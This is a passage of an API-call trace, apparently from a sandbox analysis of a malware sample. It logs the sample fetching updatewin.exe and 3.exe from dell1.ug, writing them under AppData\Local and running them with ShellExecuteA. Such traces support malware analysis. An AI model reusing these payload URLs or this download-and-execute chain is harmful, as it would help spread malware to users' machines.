lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.768] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.792] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.793] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.793] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.793] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.794] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.794] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.795] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.796] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.796] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x1200) returned 1 [0052.796] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x1200, lpOverlapped=0x0) returned 1 [0052.797] CloseHandle (hObject=0x65c) returned 1 [0052.800] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0052.805] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0052.805] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089460 | out: hHeap=0x3500000) returned 1 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60700d0 | out: hHeap=0x3500000) returned 1 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601fb30 | out: hHeap=0x3500000) returned 1 [0052.875] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084700 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x85e) returned 0x601e9e8 [0052.875] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6084700, cbMultiByte=-1, lpWideCharStr=0x601e9e8, cchWideChar=1071 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe") returned 44 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0x60a1f78 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084700 | out: hHeap=0x3500000) returned 1 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0x601e9e8 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x82f) returned 0xc940cb8 [0052.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0xc940cb8, cbMultiByte=2095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 44 [0052.875] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc940430 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940cb8 | out: hHeap=0x3500000) returned 1 [0052.875] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0052.875] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0053.122] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0053.122] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0053.122] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084700 [0053.122] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x60701e8 [0053.122] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084700 | out: hHeap=0x3500000) returned 1 [0053.122] lstrcpyA (in: lpString1=0x60302c8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" [0053.122] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe") returned 1 [0053.122] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089460 [0053.122] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0053.123] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.123] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.129] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.130] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.156] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.156] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.157] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.157] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.157] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.179] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.179] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.179] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.180] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.180] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.181] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.181] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.182] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.207] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.207] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.208] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.208] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.208] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.208] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.209] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.210] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.210] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.210] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.210] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.211] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.211] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.234] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.235] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.236] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.237] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.237] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.238] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.262] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.262] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.263] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.263] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.263] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.266] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.270] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x1e00) returned 1 [0053.271] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0053.271] CloseHandle (hObject=0x5bc) returned 1 [0053.273] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0053.279] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0053.279] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0053.325] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089460 | out: hHeap=0x3500000) returned 1 [0053.325] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60701e8 | out: hHeap=0x3500000) returned 1 [0053.325] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60a1f78 | out: hHeap=0x3500000) returned 1 [0053.325] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.325] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x6084738 [0053.325] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x84e) returned 0x601e9e8 [0053.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6084738, cbMultiByte=-1, lpWideCharStr=0x601e9e8, cchWideChar=1063 | out: lpWideCharStr="http://dell1.ug/files/penelop/3.exe") returned 36 [0053.325] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc940430 [0053.326] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0053.326] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6084738 | out: hHeap=0x3500000) returned 1 [0053.326] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0xc940cb8 [0053.326] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x827) returned 0x601e9e8 [0053.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0x601e9e8, cbMultiByte=2087, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/3.exe", lpUsedDefaultChar=0x0) returned 36 [0053.326] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc941540 [0053.326] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0053.326] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940cb8 | out: hHeap=0x3500000) returned 1 [0053.326] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/3.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc941540 | out: hHeap=0x3500000) returned 1 [0053.418] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0053.418] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0053.418] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x60848f8 [0053.418] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x84e) returned 0xc940430 [0053.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x60848f8, cbMultiByte=-1, 